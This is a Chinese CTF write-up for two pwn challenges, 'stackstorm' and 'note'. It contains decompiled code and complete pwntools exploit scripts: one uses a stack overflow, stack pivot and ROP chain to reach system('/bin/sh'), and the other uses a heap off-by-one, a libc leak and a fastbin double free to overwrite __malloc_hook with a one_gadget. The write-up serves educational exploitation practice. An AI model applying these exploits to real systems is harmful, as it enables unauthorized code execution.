menu EDS
西普杯华中赛区pwn writeup
1449 浏览 | 2020-11-01 | 分类:pwn | 标签:

西普杯华中赛区pwn writeup

stackstorm

题目提供elf文件和libc文件各一个。用ida打开查看main()函数。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *ptr; // ST08_8
  void *v4; // ST00_8

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Welcome to stackstorm");
  ptr = malloc(0x400uLL);
  sub_400746(ptr, 0LL);
  free(ptr);
  v4 = malloc(0x400uLL);
  sub_400746(v4, 0LL);
  free(v4);
  return 0LL;
}

其中malloc了两个堆块并导入到sub_400746()函数中。

int __fastcall sub_400746(void *a1)
{
  char s; // [rsp+10h] [rbp-70h]

  memset(&s, 0, 0x70uLL);
  puts("data1:");
  read(0, a1, 0x400uLL);
  puts((const char *)a1);
  puts("data2:");
  read(0, &s, 0x80uLL);
  return puts(&s);
}

该函数在栈上有16个字节的溢出,并调用了两次,思路第一次调用将字符填充到栈底泄露rbp的内容。这样就得到了栈地址,第二次溢出并用栈迁移将栈迁回开始的地方构造rop链泄露libc基地址,再次返回main()函数二次溢出getshell。脚本如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 0
if local == 1:
    r=process('./stackstorm')
    gdb.attach(r,'b * 0x400788')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('0.0.0.0',0)
    libc = ELF('./libc-2.23.so')

elf=ELF('./stackstorm')
puts = elf.symbols['puts']
rdi = 0x400903
rsir15= 0x400901
leave = 0x4007c1
libc_start_main_got = elf.got['__libc_start_main']
read = elf.symbols['read']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
main = 0x4007c3

r.recvuntil('data1:')
r.sendline('a'*(0x400-1))
r.recvuntil('data2:')
r.send('b'*(0x70-1)+'c')
r.recvuntil('bbbc')
rbp = u64(r.recv(6)+'\x00\x00')-0x90



r.recvuntil('data1:')
r.sendline('a'*(0x400-1))
r.recvuntil('data2:')
exp= 'aaab'+p32(0)+p64(rdi)+p64(libc_start_main_got)+p64(puts)+p64(main)
r.sendline(exp+'a'*(0x70-len(exp))+p64(rbp)+p64(leave))
r.recvuntil('aaab')
r.recv(1)
laddr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
print(hex(laddr))
system +=laddr
binsh +=laddr

r.recvuntil('data1:')
r.recvuntil('data2:')
r.send('b'*(0x70-1)+'c')
r.recvuntil('bbbc')
rbp = u64(r.recv(6)+'\x00\x00')-0x90
print hex(rbp)

r.recvuntil('data1:')
r.sendline(cyclic(0x400-1))
r.recvuntil('data2:')
exp= 'a'*7+'b'+p64(rdi)+p64(libc_start_main_got)+p64(puts)+p64(main)+p64(0)
exp= 'aaab'+p32(0)+p64(rdi)+p64(binsh)+p64(system)+p64(main)
r.sendline(exp+'a'*(0x70-len(exp))+p64(rbp)+p64(leave))

r.interactive()

note

题目给定elf文件和libc各一个,通过打开ida发现该题为堆题。menu()函数如下。

int sub_E91()
{
  puts("1.Add new note");
  puts("2.Delete a note");
  puts("3.Show a note");
  puts("4.Exit");
  return printf("Choice:");
}

通过main()函数对比,发现没有修改功能。然后找出对应的增删查函数。

增函数。需要分别输入size、title和content

int sub_BD9()
{
  int result; // eax
  int v1; // ST04_4
  void *v2; // rax
  void *buf; // ST08_8
  int v4; // ST00_4
  __int64 v5; // [rsp+0h] [rbp-10h]

  printf("Input the note size: ");
  result = getnum();
  HIDWORD(v5) = result;
  if ( result <= 0 || result > 256 )
  {
    puts("Stop heap abuse!!!");
    exit(0);
  }
  LODWORD(v5) = 0;
  while ( v5 <= 14 )
  {
    result = *(&unk_2020A0 + 8 * v5);
    if ( !result )
    {
      *(&unk_2020A0 + 8 * v5) = 1;
      *(&unk_2020A4 + 8 * v5) = HIDWORD(v5);
      printf("Input the title: ", v5);
      v2 = malloc(v1);
      buf = v2;
      qword_2020B8[4 * v4] = v2;
      read_str(&unk_2020A0 + 32 * v4 + 8, 16);
      printf("Input the content: ", 16LL);
      read(0, buf, v1);
      return dword_20209C++ + 1;
    }
    LODWORD(v5) = v5 + 1;
  }
  return result;
}

删函数,free掉指针并将指针标志置零

int sub_D2F()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Which Note do you want to delete: ");
  v1 = getnum();
  if ( v1 < 0 || v1 > dword_20209C )
    return puts("Out of bound!");
  result = *(&unk_2020A0 + 8 * v1);
  if ( result )
  {
    free(qword_2020B8[4 * v1]);
    *(&unk_2020A0 + 8 * v1) = 0;
    result = dword_20209C-- - 1;
  }
  return result;
}

查函数,直接printf()字符串,与puts功能相似。

int sub_DDA()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("Which Note do you want to show: ");
  v1 = getnum();
  if ( v1 < 0 || v1 > dword_20209C )
    exit(0);
  result = *(&unk_2020A0 + 8 * v1);
  if ( result )
  {
    printf("note title : %s \n", &unk_2020A0 + 32 * v1 + 8);
    result = printf("note content: %s \n", qword_2020B8[4 * v1]);
  }
  return result;
}

在动态测试中发现在增函数时,title的输入会有一个单字节的溢出,可以覆盖堆地址的最后一位。在正常情况下这个地址会指向chunk+0x10。

gdb-peda$ x/20gx $rebase(0x2020a8)
0x55d27fe3c0a8:    0x6161616161616161    0x6161616161616161
0x55d27fe3c0b8:    0x000055d28175b061    0x0000004000000000
gdb-peda$ x/20gx $rebase(0x2020a8)
0x55bdd6d8d0a8:    0x0000000000000061    0x0000000000000000
0x55bdd6d8d0b8:    0x000055bdd8cea010    0x0000000000000000

这样我们可以构造一个fake_chunk泄露main_area+88,并构造相同的指针构造double free 覆盖__malloc_hookgetshell。

构造fake chunk

add(0x40,'a\n','a') #0 不能在0x10处写因为\n会被替换成00,所以该堆块作用是垫高heap到0x100处方便double free
add(0x30,'a'*16+p8(0x70+0x10),'c'*0x10+p64(0)+p64(0x91)) #1 fakechunk并将指针指向fake chunk
add(0x30,'a'*16+p8(0x50+0x10),'a') #2 将指针指向chunk 1,方便申请回来泄露mainarea+88
add(0x20,'a\n','a') #3 同上个堆块欺骗free函数

dele(1) #free fake_chunk
dele(2) #free chunk 1

add(0x30,'a\n','a'*(0x20-1)+'b') #申请回chunk1 使此chunk与unsortbin重叠,
show(1) #leak mainarea+88
r.recvuntil('aaab')
libc_addr = u64(r.recv(6)+'\x00\x00')-0x3c4b78
print hex(libc_addr)

double free

add(0x60,'a'*16+p8(0x70+0x10),'a') #4 指针指向chunk 5
add(0x60,'a\n','a') #5
add(0x60,'a\n','c') #6
add(0x30,'a\n','c') #7


dele(5)
dele(6)
dele(4) #free 5


malloc_hook = libc_addr + libc.symbols['__malloc_hook']
realloc_hook = libc_addr + libc.symbols['__realloc_hook']
realloc = libc_addr + libc.symbols['__libc_realloc']
ogg = libc_addr+0x4527a
add(0x60,'a\n',p64(malloc_hook-0x23)) #6
add(0x60,'a\n','c') #7
add(0x60,'a\n','c') #6

add(0x60,'a\n',cyclic(11)+p64(ogg)+p64(realloc)) #利用realloc抬栈触发one_gadget
print hex(malloc_hook)
print hex(realloc)
r.recvuntil("Choice:")
r.sendline("1")
r.recvuntil("size:")
r.sendline('64')

最终exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./note')
    gdb.attach(r,'b * __libc_realloc')
    #gdb.attach(r,'b * $rebase(0xe91)')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('0.0.0.0',29790)
    libc = ELF('./libc-2.23.so')

elf = ELF('./note')
def add(size,title,content):
    r.recvuntil("Choice:")
    r.sendline("1")
    r.recvuntil("size:")
    r.sendline(str(size))
    r.recvuntil("title:")
    r.send(title)
    r.recvuntil("content:")
    r.send(content)

def show(index):
    r.recvuntil("Choice:")
    r.sendline("3")
    r.recvuntil("show:")
    r.sendline(str(index))

def dele(index):
    r.recvuntil("Choice:")
    r.sendline("2")
    r.recvuntil("delete:")
    r.sendline(str(index))

add(0x40,'a\n','a') #0
add(0x30,'a'*16+p8(0x70+0x10),'c'*0x10+p64(0)+p64(0x91)) #1
add(0x30,'a'*16+p8(0x50+0x10),'a') #2
add(0x20,'a\n','a') #3

add(0x60,'a'*16+p8(0x70+0x10),'a') #4
add(0x60,'a\n','a') #5
add(0x60,'a\n','c') #6
add(0x30,'a\n','c') #7

dele(1)
dele(2)

add(0x30,'a\n','a'*(0x20-1)+'b') #1
show(1)
r.recvuntil('aaab')
libc_addr = u64(r.recv(6)+'\x00\x00')-0x3c4b78
print hex(libc_addr)

dele(5)
dele(6)
dele(4) #make 6

malloc_hook = libc_addr + libc.symbols['__malloc_hook']
realloc_hook = libc_addr + libc.symbols['__realloc_hook']
realloc = libc_addr + libc.symbols['__libc_realloc']
ogg = libc_addr+0x4527a
add(0x60,'a\n',p64(malloc_hook-0x23)) #6
add(0x60,'a\n','c') #7
add(0x60,'a\n','c') #6

add(0x60,'a\n',cyclic(11)+p64(ogg)+p64(realloc)) #exp
print hex(malloc_hook)
print hex(realloc)
r.recvuntil("Choice:")
r.sendline("1")
r.recvuntil("size:")
r.sendline('64')

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!